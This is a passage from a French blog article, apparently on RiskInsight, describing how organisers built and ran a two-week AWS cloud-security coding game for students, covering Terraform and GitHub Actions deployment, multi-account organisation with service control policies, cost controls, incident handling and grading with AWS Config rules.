<p style="text-align: justify;"><span data-contrast="none">Concernant le cycle de développement, plutôt que de suivre une approche linéaire, où l&rsquo;on créerait d&rsquo;abord le code pour l&rsquo;infrastructure initiale, puis pour l&rsquo;infrastructure cible, nous avons opté pour une approche agile avec la définition de blocs fonctionnels. Pour illustrer cette idée, le bloc « </span><i><span data-contrast="none">Lambda (ELK) -&gt; S3</span></i><span data-contrast="none"> » vise à concevoir une fonction Lambda déclenchée dès qu&rsquo;une notification S3 </span><i><span data-contrast="none">PutObject</span></i><span data-contrast="none"> est générée, avec ou sans point de terminaison VPC. Bien que nous devions maintenir 2 configurations Terraform simultanément, cette approche nous a donné une plus grande agilité pour réévaluer nos choix techniques. Pour réduire davantage la redondance et assurer la maintenabilité, nous nous sommes aussi concentrés sur le développement de modules Terraform pour les objets Lambda et S3.  </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Pour automatiser le déploiement des ressources dans notre Sandbox et dans nos comptes étudiants, nous avons créé une chaîne CI/CD simplifiée dans Github. Elle est constituée de 2 Github Actions. A travers une syntaxe YAML, les Github Actions permettent d&rsquo;exécuter des tâches intégrées à AWS ou Hashicorp. Dans notre cas de figure, nous avions une tâche pour exécuter la commande </span><i><span data-contrast="none">terraform apply</span></i><span data-contrast="none"> et une tâche pour appliquer la commande inverse </span><i><span data-contrast="none">terraform destroy</span></i><span data-contrast="none">. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">L&rsquo;un des avantages des Github Actions est le fait de pouvoir stocker les identifiants d&rsquo;accès à AWS dans Github Secrets au lieu du code source ou d&rsquo;un fichier local. De plus, le stockage des états Terraform dans un </span><i><span data-contrast="none">bucket</span></i><span data-contrast="none"> S3 facilite la collaboration. Un état Terraform est un fichier qui garde une trace de la configuration actuelle. Ainsi, chaque développeur configure sa clé S3 dans sa branche Github qui deviendra la référence de son état.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Au fur et à mesure que le développement avançait, nous nous sommes rendu compte de l&rsquo;ampleur de l&rsquo;écart entre l&rsquo;architecture initiale et l&rsquo;architecture cible. La raison principale est que les logiques IAM et réseau sont très différentes. En conséquence, il est devenu essentiel d&rsquo;effectuer des tests en conditions réelles, c&rsquo;est-à-dire à partir de la console AWS, afin d&rsquo;identifier les ruptures, les politiques bloquantes et d&rsquo;évaluer la complexité. A titre d&rsquo;exemple, l&rsquo;un des tests nous a rappelé que le script de démarrage d&rsquo;un EC2 appelé </span><i><span data-contrast="none">user-data</span></i><span data-contrast="none"> n&rsquo;est pas persistant après un redémarrage. Par conséquent, ce comportement a empêché la mise en œuvre de la politique de sécurité relative au chiffrement du volume racine Amazon EBS (AWS-05).</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<h2><b><span data-contrast="none">Etape 4 :</span></b><span data-contrast="none"> Déployer les environnements de manière sécurisée</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:851,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559991&quot;:851}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="none">Dans le cadre de ce défi, nous étions sur le point d&rsquo;accorder un accès privilégié à des étudiants dans un environnement pendant deux semaines pour lequel une surveillance ou une assistance individuelle constante est impossible. Bien que cette approche représente une meilleure opportunité d&rsquo;apprentissage, elle soulève des scénarios de sécurité spécifiques que nous devons anticiper et atténuer. Parmi ceux-ci, le dépassement de budget était une préoccupation majeure, étant donné l&rsquo;accès illimité et les ressources à leur disposition. Une autre menace importante est la possibilité pour les étudiants de s&rsquo;élever au sein de l&rsquo;organisation, d&rsquo;obtenir des accès non prévus ou de se compromettre les uns avec les autres. Enfin, le risque de détournement des ressources à des fins non autorisées ou malveillantes n&rsquo;est pas négligeable. Chacune de ces menaces doit faire l&rsquo;objet d&rsquo;un examen attentif afin de garantir un déploiement sûr et responsable.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Pour ce </span><i><span data-contrast="none">coding game</span></i><span data-contrast="none">, nous avons opté pour une conception AWS multicomptes afin d&rsquo;isoler les environnements de chaque équipe. Grâce à l&rsquo;organisation AWS, nous avons simplifié l&rsquo;administration, amélioré le contrôle des coûts et pu mettre en place des garde-fous à l&rsquo;aide de politiques de contrôle de la sécurité (SCP). Dans la </span><i><span data-contrast="none">Figure 3</span></i><span data-contrast="none">, nous présentons notre organisation AWS, composée d&rsquo;un compte admin et d&rsquo;une Unité d’Organisation (UO) Wavegame qui héberge les comptes des équipes où l&rsquo;infrastructure est déployée. Nous avons mis en place 3 SCP spécifiques pour :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<ul>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="14" data-aria-level="1"><span data-contrast="none">Restreindre l&rsquo;accès aux services AWS en dehors de la région désignée, </span><i><span data-contrast="none">us-east-1</span></i><span data-contrast="none">, en définissant une liste d&rsquo;opérations autorisées.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><span data-contrast="none">Renforcer l&rsquo;utilisation des types d&rsquo;instance Amazon EC2 à du t2.micro ou t2.large (contrainte liée à l&rsquo;environnement ElasticSearch).</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="16" data-aria-level="1"><span data-contrast="none">Interdire aux comptes étudiants de supprimer ou de modifier une ressource dont la balise est « </span><i><span data-contrast="none">protected</span></i><span data-contrast="none">« .</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
</ul>
<p style="text-align: justify;"><span data-contrast="none">Par ailleurs, pour mieux gérer les coûts, en particulier pour une durée de deux semaines, nous avons mis en place une fonction Lambda pour fermer automatiquement les instances EC2 après 2 heures d&rsquo;activité. Pour éviter toute modification non autorisée par les étudiants, cette fonction Lambda était l&rsquo;une des ressources sécurisées avec la balise « </span><i><span data-contrast="none">protected</span></i><span data-contrast="none">« .</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;134245418&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-23296 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3.jpg" alt="" width="826" height="612" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3.jpg 826w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3-258x191.jpg 258w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3-53x39.jpg 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3-768x569.jpg 768w" sizes="auto, (max-width: 826px) 100vw, 826px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure </span></i><i><span data-contrast="none">3</span></i><i><span data-contrast="none">:</span></i><i><span data-contrast="none"> Organisation AWS pour le Wavegame 2023</span></i><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:851,&quot;335559739&quot;:120,&quot;335559991&quot;:851,&quot;469777462&quot;:[851],&quot;469777927&quot;:[0],&quot;469777928&quot;:[1]}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Enfin, en plus de notre utilisateur IAM qui est administrateur de l&rsquo;UO Wavegame via un rôle IAM, nous avons créé un utilisateur IAM avec le rôle </span><i><span data-contrast="none">AdministratorAccess</span></i><span data-contrast="none"> pour chaque compte AWS, afin de donner de l&rsquo;autonomie aux étudiants pendant le challenge. Ils ont notamment suffisamment de droits pour se créer des comptes nominatifs.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p> </p>
<h2><b><span data-contrast="none">Etape 5 :</span></b><span data-contrast="none"> Se préparer au RUN et à la correction</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="none">Une fois le coup d’envoi donné, les étudiants ont 2 semaines pour sécuriser les ressources dans leur compte AWS en suivant nos politiques sécurité du Cloud public. Avec autant de permissions, des erreurs de configuration cassantes peuvent vite survenir. Par exemple, un groupe a créé une politique S3 « </span><i><span data-contrast="none">Deny All</span></i><span data-contrast="none">« , ce qui l&rsquo;a conduit à s&rsquo;exclure lui-même, ainsi que toute autre personne, puisqu’aucun d&rsquo;entre nous n&rsquo;a les privilèges du compte racine.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Pour faire face à ce genre de situation, nous avons mis en place le système de communication suivant : chaque équipe dispose d&rsquo;un coach chargé de signaler les problèmes techniques à l&rsquo;équipe organisatrice qui nous remonte ensuite les incidents. Nous avons ainsi pu enquêter et résoudre les problèmes ou communiquer rapidement avec eux sans recevoir trop de messages pour des questions simples auxquelles les coachs pouvaient répondre. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Outre la gestion des incidents, notre rôle consistait également à surveiller les dépassements de budget. Pour ce faire, nous avons mis en place des alertes de coûts pour chaque compte AWS. Nous avons également développé un script pour suivre l&rsquo;évolution du budget des équipes en temps réel. Cet outil s&rsquo;est avéré très utile pour fournir une estimation du temps passé par les étudiants sur le défi et réagir en cas de dépenses anormales. Par exemple, deux jours après le début du défi, une alerte a été déclenchée en raison d&rsquo;une défaillance de la fonction Lambda destinée à éteindre la machine virtuelle.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Une fois que le défi s&rsquo;est terminé avec peu d&rsquo;incidents et que l&rsquo;accès des étudiants a été révoqué, il était temps de procéder à l&rsquo;évaluation pour déclarer les gagnants. Pour rappel, les étudiants devaient configurer leur compte AWS en conformité avec les politiques du Cloud public. Pour leur évaluation, nous avons utilisé deux mécanismes de notation :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<ul>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="17" data-aria-level="1"><span data-contrast="none">Une évaluation automatique grâce au déploiement de règles gérées AWS Config à la fin du défi. Amazon fournit un ensemble de règles couvrant un pourcentage significatif des exigences. Par exemple, une règle permet de vérifier si le </span><i><span data-contrast="none">bucket</span></i><span data-contrast="none"> S3 est chiffré (AWS-06).</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
<li><span data-contrast="none">Une évaluation manuelle basée sur des critères attendus et des étapes de vérification clairement documentées.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120}"> </span></li>
</ul>
<p style="text-align: justify;" aria-level="1"> </p>
<p aria-level="1"> </p>
<p aria-level="1"> </p>
<p style="text-align: justify;"><span data-contrast="none">Pour conclure, organiser un coding game est un challenge ambitieux qui nécessite des compétences Cloud public et Terraform, une organisation solide et des capacités de réaction face à des événements inattendus. Malgré les défis, c&rsquo;est une opportunité exceptionnelle d’apprentissage. Pour les participants, le Wavegame offre une introduction immersive à la sécurité dans le Cloud public. Pour les organisateurs, le Wavegame est une expérience pratique sur le design, la conception et le maintien en condition opérationnelle d’une infrastructure dans le Cloud public.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/06/comment-construire-un-coding-game-cloud-public-etape-par-etape/">Comment construire un coding game Cloud public étape par étape ? </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2024/06/comment-construire-un-coding-game-cloud-public-etape-par-etape/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
